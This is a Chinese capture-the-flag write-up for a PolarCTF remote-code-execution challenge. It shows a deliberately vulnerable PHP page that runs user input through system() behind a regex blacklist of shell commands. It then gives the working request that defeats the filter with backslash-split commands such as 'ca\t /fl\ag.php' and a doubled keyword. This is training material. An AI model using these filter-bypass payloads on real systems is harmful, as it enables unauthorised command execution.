【PolarCTF】狗黑子的RCE

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');


    $gouheizi1=$_GET['gouheizi1'];
    $gouheizi2=$_POST['gouheizi2'];
    $gouheizi2=str_replace('gouheizi', '', $gouheizi2);

    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $gouheizi1)) {
        echo("badly!");
        exit;
    } 
    if($gouheizi2==="gouheizi"){
        system($gouheizi1);
    }else{
        echo "gouheizi!";
    }
?>

这里需要绕过2个地方

1、gouheizi1不能出现正则匹配中的命令

2、gouheizi2会被str_place将gouheizi替换为空,但是在第二个if中又需要这个gouheizi字符串太能执行system

gouheizi1我们可以使用env来直接读取flag

由于str_place只会匹配一次,那么我可以通过双写让gouheizi2等于gouheizi

str_place通过双写绕过

但是使用env获取的flag是错误的

\拼接命令绕过

这题的正则过来和 【PolarCTF】rapyiquan 一样可以直接参考

复制代码
http://c2d223b9-2c5e-47f8-a521-dcdce170beb8.www.polarctf.com:8090/?gouheizi1=ca\t%20/fl\ag.php

gouheizi2=gouhegouheiziizi
相关推荐
紫禁玄科1 天前
公共WiFi流量安全全解析
网络·人工智能·web安全·网络安全·系统安全
执念WRD1 天前
VulnTarget-C 渗透实战:外网入口到域控权限提升
网络·安全·web安全·网络安全
数据知道1 天前
主机入侵检测(HIDS):OSSEC / Wazuh 部署与规则编写
安全·网络安全·docker
其实防守也摸鱼1 天前
HackBar 工具完全指南:信息探测、漏洞验证与安全测试实战
开发语言·人工智能·学习·安全·网络安全·安全威胁分析·安全性测试
腾霄星月2 天前
内网横向移动全套实操重点知识总结
网络·安全·网络安全
数据知道3 天前
容器安全入门:Docker 逃逸原理与 5 个经典 CVE
安全·网络安全·docker·容器
紫禁玄科3 天前
网络安全科普:DDoS与DoS攻击完全指南
网络·web安全·网络安全·系统安全
紫禁玄科3 天前
勒索软件攻击深度解析
web安全·网络安全·系统安全
treesforest4 天前
IP定位技术在网络犯罪侦查中的应用与价值
网络·网络协议·tcp/ip·网络安全·ip归属地查询·反欺诈
笨鸟先飞,勤能补拙4 天前
AI 赋能网络安全:技术全景、成熟度评估与实战案例
人工智能·python·安全·web安全·网络安全·sqlite·github